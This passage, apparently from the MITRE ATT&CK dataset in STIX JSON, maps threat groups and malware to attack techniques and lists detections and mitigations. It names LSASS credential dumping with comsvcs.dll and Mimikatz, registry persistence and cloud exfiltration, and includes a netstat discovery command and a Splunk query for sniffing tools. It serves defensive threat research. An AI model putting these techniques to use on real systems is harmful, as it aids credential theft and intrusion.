2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.425Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used netstat -ano | findstr EST to discover network connections.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98c5b069-4550-4e12-98b9-701761c4a39a","created":"2023-03-08T22:41:29.185Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T22:43:44.996Z","description":"Monitor for abnormal command execution from otherwise non-executable file types (such as `.txt` and `.jpg`). ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98c69e3a-1fc1-4da2-adc5-a33723ab1be4","type":"relationship","created":"2021-06-04T14:49:06.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-04T14:49:06.980Z","description":"[HELLOKITTY](https://attack.mitre.org/software/S0617) can enumerate logical drives on a target system.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--5d11d418-95dd-4377-b782-23160dfa17b4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98c97f93-8c2a-4497-8c83-b841e30c4fa2","created":"2023-09-05T20:45:51.623Z","revoked":false,"external_references":[{"source_name":"Microsoft Cryptojacking 2023","description":"Microsoft Threat Intelligence. (2023, July 25). Cryptojacking: Understanding and defending against cloud compute resource abuse. Retrieved September 5, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-05T20:45:51.623Z","description":"Monitor for quota increases across all regions, especially multiple quota increases in a short period of time or quota increases in unused regions. Monitor for changes to tenant-level settings such as subscriptions and enabled regions.(Citation: Microsoft Cryptojacking 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98cc96c2-b876-4e1b-bec9-cb7ea8a8e532","type":"relationship","created":"2021-10-18T13:21:38.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","source_name":"cobaltstrike manual"}],"modified":"2022-02-25T18:58:14.872Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) will break large data sets into smaller chunks for exfiltration.(Citation: cobaltstrike manual)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98ccbadd-dbfa-44d3-b3f2-3a55c8fa37e1","type":"relationship","created":"2019-06-04T13:43:04.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2019-06-28T15:15:54.579Z","description":"[Xbash](https://attack.mitre.org/software/S0341) has maliciously encrypted victim's database systems and demanded a cryptocurrency ransom be paid.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98d076a5-9640-4337-a5a0-27c0c8a3374b","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-12T21:03:33.760Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has stolen domain credentials by dumping LSASS process memory using Task Manager, comsvcs.dll, and from a Microsoft Active Directory Domain Controller using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: FireEye APT35 2018)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98d0fca0-b3e7-4f69-b5f3-527cdd4f48c9","created":"2020-01-23T19:59:52.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)"},{"source_name":"Microsoft Windows Defender Application Control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"},{"source_name":"NSA MS AppLocker","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"},{"source_name":"Windows Commands JPCERT","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:06.871Z","description":"Identify and block potentially malicious and unknown .cpl files by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98d32782-62e2-4cd7-90b1-78c8a062b6ed","type":"relationship","created":"2020-05-06T21:01:23.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.423Z","description":"[Attor](https://attack.mitre.org/software/S0438)'s installer plugin can schedule a new task that loads the dispatcher on boot/logon.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98d3455f-49cc-4539-ba35-4b11bec0ddcd","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-30T03:02:09.221Z","description":"[Reaver](https://attack.mitre.org/software/S0172) encrypts collected data with an incremental XOR key prior to exfiltration.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98d908da-f2b1-47f8-a74a-41984e88f55e","created":"2024-07-24T16:27:32.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-24T16:28:47.146Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) used WMI for lateral movement in victim environments.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98e08749-5e7b-40ed-8a66-cd33f9c8c6ba","created":"2020-11-06T18:40:38.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.841Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform port scans from an infected host.(Citation: cobaltstrike manual)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98e0e77b-b691-4c36-b2ab-98d5d94ee9cb","created":"2023-09-01T21:30:10.787Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-01T21:30:10.787Z","description":"Look for behaviors on the endpoint system that might indicate successful compromise, such as abnormal behaviors of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, or evidence of Discovery.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--43c9bc06-715b-42db-972f-52d25c09a20c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98ec1cf2-91ed-4a5f-b653-1d60259d0b46","type":"relationship","created":"2019-03-11T20:01:20.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.936Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use Dropbox for data exfiltration.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98f0cde7-f11f-4860-8a75-eff81d58b12a","created":"2023-02-21T19:41:39.902Z","revoked":false,"external_references":[{"source_name":"Protecting Microsoft 365 From On-Premises Attacks","description":"Microsoft. (2022, August 26). Protecting Microsoft 365 from on-premises attacks. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/protect-m365-from-on-premises-attacks"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T19:41:39.902Z","description":"Monitor for newly constructed logon behavior to cloud services. For example, in Azure AD, consider using Identity Protection to monitor for suspicious login behaviors to cloud resources. (Citation: Protecting Microsoft 365 From On-Premises Attacks)","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98f55ec9-3170-41ad-9bac-c921fa4a29ea","type":"relationship","created":"2020-12-15T01:30:05.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-15T01:54:05.690Z","description":"[Spark](https://attack.mitre.org/software/S0543) has run the whoami command and has a built-in command to identify the user logged in.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98fc2f95-0c93-405a-a54e-880622d8d233","type":"relationship","created":"2021-06-11T20:00:32.043Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-06-11T20:00:32.043Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can use a second channel for C2 when the primary channel is in upload mode.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98fd9ed1-abf3-4e2f-b071-8aea2dc44a64","type":"relationship","created":"2020-05-04T19:13:35.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.457Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) can remotely open applications on the infected host with the ShellExecuteA command.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9900f89a-588c-4892-b8f3-74033ce868d5","created":"2022-04-19T14:01:06.529Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor application logs for suspicious events including repeated MFA failures that may indicate user's primary credentials have been compromised.","modified":"2022-04-19T14:01:06.529Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--99019cb2-58d1-441c-a472-909e48efb71e","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T17:27:12.148Z","description":"Monitor executed commands and arguments for actions that aid in sniffing network traffic to capture information about an environment, including authentication material passed over the network.\n\nAnalytic 1 - Unexpected command execution of network sniffing tools.\n\n index=security (sourcetype=\"Powershell\" EventCode=4104) | eval CommandLine=coalesce(Command_Line, CommandLine)\n| where ExecutingProcess IN (\"*tshark.exe\", \"*windump.exe\", \"*tcpdump.exe\", \"*wprui.exe\", \"*wpr.exe\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9901b17d-551e-4971-9ff7-7142e7c2bb4e","type":"relationship","created":"2019-09-13T13:40:47.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-10-07T15:16:12.112Z","description":" [Machete](https://attack.mitre.org/software/S0409) can download additional files for execution on the victim’s machine.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99070a6a-e0c3-455b-8e4b-9239206e56ec","type":"relationship","created":"2021-09-27T20:50:56.542Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-10-16T02:17:54.052Z","description":"[BoxCaon](https://attack.mitre.org/software/S0651) established persistence by setting the HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load registry key to point to its executable.(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"malware--919a056e-5104-43b9-ad55-2ac929108b71","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--990d1dde-8b25-4b83-93a0-50533b557b82","created":"2023-02-10T18:42:43.813Z","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-10T18:42:43.813Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) can use Windows API calls to gather information from an infected host.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--990e1dac-f103-47c0-91d8-a5238ffc6b99","type":"relationship","created":"2020-03-19T22:16:54.830Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Elfin Mar 2019","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."},{"description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","source_name":"FireEye APT33 Guardrail"}],"modified":"2020-03-19T22:16:54.830Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349) to gather credentials.(Citation: Symantec Elfin Mar 2019)(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--990e64f6-6a47-410c-9557-a17e96a60755","created":"2022-04-09T19:48:34.768Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661) can invoke the `Common.Compress` method to compress data with the C# GZipStream compression class.(Citation: MSTIC FoggyWeb September 